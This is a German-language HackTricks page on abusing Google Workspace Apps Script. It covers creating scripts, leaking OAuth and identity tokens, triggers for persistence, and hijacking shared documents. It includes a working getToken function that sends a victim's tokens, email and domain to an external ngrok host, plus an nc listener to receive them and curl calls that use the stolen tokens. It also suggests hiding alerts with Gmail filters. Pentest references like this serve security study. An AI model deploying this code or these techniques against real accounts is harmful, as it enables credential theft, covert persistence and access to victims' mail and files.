GWS - App Scripts

Support HackTricks

App Scripts

App Scripts ist Code, der ausgelöst wird, wenn ein Benutzer mit Bearbeitungsberechtigung auf das Dokument zugreift, mit dem das App Script verknüpft ist und nach Akzeptieren der OAuth-Aufforderung. Sie können auch so eingestellt werden, dass sie in bestimmten Zeitabständen vom Eigentümer des App Scripts ausgeführt werden (Persistenz).

App Script erstellen

Es gibt mehrere Möglichkeiten, ein App Script zu erstellen, obwohl die gebräuchlichsten aus einem Google-Dokument (jeder Art) und als eigenständiges Projekt sind:

Erstellen Sie ein containergebundenes Projekt aus Google Docs, Sheets oder Slides
  1. Öffnen Sie ein Docs-Dokument, eine Sheets-Tabelle oder eine Slides-Präsentation.

  2. Klicken Sie auf Erweiterungen > Google Apps Script.

  3. Klicken Sie im Skripteditor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen Sie ein eigenständiges Projekt

Um ein eigenständiges Projekt aus Apps Script zu erstellen:

  1. Gehen Sie zu script.google.com.

  2. Klicken Sie auf Neues Projekt.

  3. Klicken Sie im Skripteditor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen Sie ein eigenständiges Projekt aus Google Drive
  1. Öffnen Sie Google Drive.

  2. Klicken Sie auf Neu > Mehr > Google Apps Script.

Erstellen Sie ein containergebundenes Projekt aus Google Forms
  1. Öffnen Sie ein Formular in Google Forms.

  2. Klicken Sie auf Mehr mehr_vert > Skripteditor.

  3. Klicken Sie im Skripteditor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen Sie ein eigenständiges Projekt mit dem clasp-Befehlszeilenwerkzeug

clasp ist ein Befehlszeilenwerkzeug, mit dem Sie Apps Script-Projekte von einem Terminal aus erstellen, abrufen/pushen und bereitstellen können.

Siehe die Anleitung zur Befehlszeilenschnittstelle mit clasp für weitere Details.

App Script-Szenario

Google Sheet mit App Script erstellen

Beginnen Sie mit der Erstellung eines App Scripts, meine Empfehlung für dieses Szenario ist, ein Google Sheet zu erstellen und zu Erweiterungen > App Scripts zu gehen, dies öffnet ein neues App Script, das mit dem Sheet verknüpft ist.

Token leaken

Um Zugriff auf das OAuth-Token zu gewähren, müssen Sie auf Dienste + klicken und Scopes wie hinzufügen:

  • AdminDirectory: Zugriff auf Benutzer und Gruppen des Verzeichnisses (wenn der Benutzer über ausreichende Berechtigungen verfügt)

  • Gmail: Um auf Gmail-Daten zuzugreifen

  • Drive: Um auf Drive-Daten zuzugreifen

  • Google Sheets API: Damit es mit dem Trigger funktioniert

Um die benötigten Scopes selbst zu ändern, können Sie zu den Projekteinstellungen gehen und aktivieren: Zeige "appsscript.json" Manifestdatei im Editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Um die Anfrage zu erfassen, können Sie einfach Folgendes ausführen:

ngrok tcp 4444
nc -lv 4444 #macOS

Berechtigungen, die angefordert werden, um das App-Skript auszuführen:

Da eine externe Anfrage gestellt wird, wird das OAuth-Prompt auch nach der Erlaubnis fragen, um auf externe Endpunkte zuzugreifen.

Trigger erstellen

Sobald die App gelesen wurde, klicken Sie auf ⏰ Trigger, um einen Trigger zu erstellen. Wählen Sie als Funktion getToken, läuft bei Bereitstellung Head, wählen Sie als Ereignisquelle From spreadsheet und als Ereignistyp On open oder On edit (je nach Bedarf) und speichern Sie.

Beachten Sie, dass Sie die Ausführungen der App-Skripte im Tab Ausführungen überprüfen können, wenn Sie etwas debuggen möchten.

Teilen

Um das App-Skript zu triggern, muss das Opfer mit Editor-Zugriff verbunden sein.

Das Token, das zur Ausführung des App-Skripts verwendet wird, wird das des Erstellers des Triggers sein, auch wenn die Datei von anderen Benutzern als Editor geöffnet wird.

Missbrauch von "Mit mir geteilt"-Dokumenten

Wenn jemand ein Dokument mit App-Skripten und einem Trigger unter Verwendung des Heads des App-Skripts (nicht einer festen Bereitstellung) mit Ihnen geteilt hat, können Sie den App-Skript-Code ändern (zum Beispiel die Funktionen zum Stehlen des Tokens hinzufügen), darauf zugreifen, und das App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat! (Beachten Sie, dass das OAuth-Token des Eigentümers als Zugriffsbereiche die hat, die beim Erstellen des Triggers angegeben wurden).

Eine Benachrichtigung wird an den Ersteller des Skripts gesendet, die anzeigt, dass jemand das Skript geändert hat (Was ist mit der Verwendung von Gmail-Berechtigungen, um einen Filter zu erstellen, um die Warnung zu verhindern?)

Wenn ein Angreifer die Bereiche des App-Skripts ändert, werden die Updates nicht auf das Dokument angewendet, bis ein neuer Trigger mit den Änderungen erstellt wird. Daher wird ein Angreifer nicht in der Lage sein, das Token des Eigentümers mit mehr Bereichen zu stehlen, als er im Trigger festgelegt hat, den er erstellt hat.

Kopieren statt Teilen

Wenn Sie einen Link zum Teilen eines Dokuments erstellen, wird ein ähnlicher Link wie dieser erstellt: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Wenn Sie das Ende "/edit" in "/copy" ändern, wird Google Sie fragen, ob Sie eine Kopie des Dokuments erstellen möchten:

Wenn der Benutzer es kopiert und darauf zugreift, werden sowohl die Inhalte des Dokuments als auch die App-Skripte kopiert, jedoch die Trigger nicht, daher wird nichts ausgeführt.

Teilen als Webanwendung

Beachten Sie, dass es auch möglich ist, ein App-Skript als Webanwendung zu teilen (im Editor des App-Skripts, als Webanwendung bereitstellen), aber eine Warnung wie diese wird erscheinen:

Gefolgt von dem typischen OAuth-Prompt, der nach den benötigten Berechtigungen fragt.

Testen

Sie können ein gesammeltes Token testen, um E-Mails aufzulisten mit:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Liste des Kalenders des Benutzers:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script als Persistenz

Eine Option für Persistenz wäre es, ein Dokument zu erstellen und einen Trigger für die getToken-Funktion hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass jedes Mal, wenn der Angreifer die Datei öffnet, er das Token des Opfers exfiltriert.

Es ist auch möglich, ein App Script zu erstellen und es alle X Zeit (wie jede Minute, Stunde, Tag...) auszulösen. Ein Angreifer, der kompromittierte Anmeldeinformationen oder eine Sitzung eines Opfers hat, könnte einen zeitgesteuerten App Script-Trigger einrichten und jeden Tag ein sehr privilegiertes OAuth-Token leaken:

Erstellen Sie einfach ein App Script, gehen Sie zu Trigger, klicken Sie auf Trigger hinzufügen und wählen Sie als Ereignisquelle Zeitgesteuert und wählen Sie die Optionen, die am besten zu Ihnen passen:

Dies wird eine Sicherheitswarnungs-E-Mail und eine Push-Nachricht an Ihr Mobilgerät senden, die darüber informiert.

Umgehung der unbestätigten Eingabeaufforderung für freigegebene Dokumente

Darüber hinaus, wenn jemand Ihnen ein Dokument mit Bearbeitungszugriff geteilt hat, können Sie App Scripts im Dokument generieren und der EIGENTÜMER (Ersteller) des Dokuments wird der Eigentümer des App Scripts sein.

Das bedeutet, dass der Ersteller des Dokuments als Ersteller jedes App Scripts erscheint, das jemand mit Bearbeitungszugriff darin erstellt.

Das bedeutet auch, dass das App Script von der Workspace-Umgebung des Erstellers des Dokuments vertraut wird.

Das bedeutet auch, dass wenn ein App Script bereits existierte und Leute Zugriff gewährt haben, jeder mit Bearbeiter-Berechtigung auf dem Dokument es ändern und diesen Zugriff missbrauchen kann. Um dies auszunutzen, benötigen Sie auch Personen, die das App Script auslösen. Ein praktischer Trick ist es, das Script als Webanwendung zu veröffentlichen. Wenn die Personen, die bereits Zugriff auf das App Script gewährt haben, die Webseite aufrufen, werden sie das App Script auslösen (das funktioniert auch mit <img>-Tags).

Unterstützen Sie HackTricks

Last updated